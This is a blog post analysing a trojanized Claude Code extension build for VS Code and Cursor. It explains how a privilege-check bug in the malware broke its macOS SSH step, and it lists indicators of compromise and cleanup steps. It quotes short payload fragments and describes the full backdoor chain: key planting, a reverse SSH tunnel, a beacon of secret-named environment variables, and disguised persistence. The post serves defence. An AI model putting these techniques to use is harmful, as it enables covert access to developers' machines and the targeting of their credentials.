DEV Community

Cover image for The Claude Code backdoor's macOS bug broke its own SSH step. I re-ran the check.
frank chu
frank chu

Posted on

The Claude Code backdoor's macOS bug broke its own SSH step. I re-ran the check.

The Claude Code backdoor's macOS bug broke its own SSH step. I re-ran the check.

Yesterday, the most popular coding extension in the world shipped a backdoor for about eleven hours. Then the backdoor tripped over its own privilege check and, on most Macs, failed to open the door it was trying to install.

That sentence needs unpacking, because the story has already split into two wrong versions: "Anthropic got hacked and millions of developers are compromised" and "only 5,000 Cursor users, nothing to see here." Neither is right. I spent this morning reading the actual advisory, re-running the exact logic that failed, and checking what the marketplace serves now.

What happened, on the record

Phorion, a macOS security firm, published an advisory on October 30 (00:00 UTC) describing a trojanized build of the official Claude Code extension for VS Code, version 2.1.313. The injected code — an immediately invoked function expression prepended to the minified extension.js bundle — runs the moment Node loads the file, before the extension's normal activate callback. It does four things:

  1. Appends an attacker-controlled Ed25519 public key (comment svc-telemetry) to ~/.ssh/authorized_keys.
  2. Tries to enable the local SSH service (Remote Login on macOS, systemctl/service on Linux, OpenSSH Server on Windows).
  3. Opens a reverse SSH tunnel to an attacker server, with -R *:0:localhost:22, retrying every 60 seconds in a detached loop that survives closing the editor.
  4. Beacons host reconnaissance — hostname, username, OS, home directory, Git email, public IP, and up to 40 environment variable names matching KEY|TOKEN|SECRET|PASS|AWS|GCP — to the attacker's server on port 8099.

Then it installs persistence: a LaunchAgent disguised as com.apple.sysmond.plist on macOS, an @reboot cron entry on Linux, a SysMon scheduled task (or Startup-folder script) on Windows.

Cursor, whose marketplace served the build, says the malicious version was live from about 2:27 a.m. to 1:35 p.m. PT on October 29, affected at most 5,000 users, was not developed by Anthropic, and that users should update to 2.1.314. Cursor also shut its whole marketplace down as a precaution, audited it, rotated keys, and rebuilt it.

One thing is genuinely disputed, and you should know that before you trust any single writeup: Phorion says it spotted the package on Open VSX, while The Hacker News, citing OpenSourceMalware, reports it was distributed only through Cursor's marketplace, with no evidence it reached Open VSX or Microsoft's official marketplace. I am not going to resolve that dispute from my desk. What I can check is the Microsoft marketplace right now, and what the malicious code itself does when it runs as an ordinary user.

The check I re-ran

The macOS privilege bug is the most interesting part of this incident, because it is a bug in the malware, and it changed the outcome. Here is the logic, as published in the advisory:

var rl = ex("systemsetup -getremotelogin 2>/dev/null", 4000);
if (/Off/i.test(rl)) {
  det("sudo -n systemsetup -setremotelogin on >/dev/null 2>&1");
}
Enter fullscreen mode Exit fullscreen mode

On macOS, systemsetup -getremotelogin run without administrator privileges does not print Off. It prints an error — and exits with status 0:

You need administrator access to run this tool... exiting!
Enter fullscreen mode Exit fullscreen mode

The malware's helper captures stdout and tests it against /Off/i. I re-ran that exact test in Node, against three inputs. This is my own re-implementation of the published logic — not the malware, no keys, no network, no file writes:

function wouldTryEnable(rl) { return /Off/i.test(rl); }
wouldTryEnable("You need administrator access to run this tool... exiting!");
wouldTryEnable("Remote Login: Off");
wouldTryEnable("Remote Login: On");
Enter fullscreen mode Exit fullscreen mode
macOS check | admin error string (unprivileged macOS user) | /Off/i => false
macOS check | Remote Login actually off | /Off/i => true
macOS check | Remote Login actually on | /Off/i => false
Enter fullscreen mode Exit fullscreen mode

Read that first line twice. The error string contains no "Off", so the test is false, and the enable step is skipped entirely. The malware treats "I don't have permission to check whether SSH is off" as "SSH is already on." On a Mac where Remote Login was not already enabled, the tunnel still dials out — but traffic forwarded back through it hits a closed port 22 on localhost. The inbound leg is broken.

That is not a defense you should rely on. If the user already had Remote Login on, or turns it on later, the planted key is waiting. And everything else in the chain — the key append, the persistence, the beacon — does not need the SSH-enable step to succeed. Cursor's own statement makes the same point from the other side: enabling SSH needs admin rights the extension lacks on most macOS and Windows hosts, so on those machines the attacker could not have logged in through the tunnel. "Could not have logged in" is not "was not infected."

The Windows path has its own reported bug: the helper that runs the PowerShell service-setup command reportedly hardcodes /bin/sh, which is not going to get far on a standard Windows install. I did not execute that path — I have no Windows host here, and Phorion's description is the evidence — but the pattern is the same: this payload was written fast, and it shows.

Two more numbers I measured, not quoted

The beacon's environment-variable filter is a small, precise piece of tradecraft: it takes variable names, never values, capped at 40. I ran the published filter against a synthetic environment with 46 matching names:

Object.keys(process.env)
  .filter(k => /KEY|TOKEN|SECRET|PASS|AWS|GCP/i.test(k))
  .slice(0, 40);
Enter fullscreen mode Exit fullscreen mode
env filter | matching names in fake env: 46 | beaconed: 40 | first: FAKE_TOKEN_0 | last: FAKE_TOKEN_39
Enter fullscreen mode Exit fullscreen mode

Forty names, zero values. That is an inventory for prioritizing victims, not a credential theft in itself — which is exactly why Phorion's remediation advice says to rotate credentials anyway. If your host beaconed, the operator knows which of your machines hold AWS keys, even if it does not know the keys.

And the tunnel key filename, which is how you hunt for it in /tmp:

crypto.createHash("md5").update(hostname + HOME).digest("hex").slice(0, 10);
Enter fullscreen mode Exit fullscreen mode
stk suffix | MD5("devbox"+"/home/user")[:10] = 89b7ab0b2e | len=10 | hex-only=true
Enter fullscreen mode Exit fullscreen mode

A file named .stk_ plus ten hex characters, derived from hostname plus home path. Deterministic per machine, which means it is greppable per machine.

What the marketplace serves now

This morning I queried Microsoft's Visual Studio Marketplace API for anthropic.claude-code. The newest version it returned was 2.1.314, with platform builds timestamped 01:16–01:20 UTC on October 30. The extension's overall install statistic sits at 29,078,855.

Do not confuse those two numbers. Twenty-nine million is the extension's install base. Five thousand is Cursor's upper bound on affected users. The gap between them is the whole story of this incident's misreporting: a supply-chain compromise of a massively popular extension, with a blast radius bounded — so far, by Cursor's count — by an eleven-hour window on one marketplace.

I also scanned this machine for the published indicators: ~/.config/.smt, ~/.config/.smtk, /tmp/.stk_*, and ~/.ssh/authorized_keys. All absent — this VM has never run the extension, so a clean scan here is expected, not reassuring. The scan that matters is yours, on the machine where you actually run Cursor or VS Code.

The check that actually matters

Updating to 2.1.314 fixes the distribution. It does not clean an infection, because the persistence lives outside the extension. If you installed or updated Claude Code through Cursor on October 29, check in this order:

  1. grep svc-telemetry ~/.ssh/authorized_keys — a hit means the key was planted.
  2. ~/.config/.smt and ~/.config/.smtk (macOS/Linux), ~/Library/LaunchAgents/com.apple.sysmond.plist (macOS), the @reboot cron entry (Linux), the SysMon task or Startup-folder sysmon.cmd (Windows).
  3. Any ssh/autossh process with -R *:0:localhost:22 or an identity file under /tmp/.stk_*.

If any of those hit, uninstalling the extension is step zero, not the fix. Kill the tunnel, remove the persistence, remove the key, and rotate credentials from a clean machine. Phorion's published fingerprints, for your own verification: backdoored extension.js SHA-256 ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15, planted-key fingerprint SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk.

The uncomfortable lesson is not that a marketplace got poisoned — that happens. It is that the thing standing between "backdoor installed" and "backdoor usable" was a regex testing an error message for the word "Off." Supply-chain security held, this time, partly by accident. Next time the malware author tests their code as a non-admin user first.

Sources: Phorion security advisory, October 30, 2026; Cursor security notice, October 30, 2026 (via Cursor's statement as reported by The Hacker News and Help Net Security); Microsoft Visual Studio Marketplace API, queried October 30, 2026; my own Node re-implementation of the published logic, run October 30, 2026.

Top comments (0)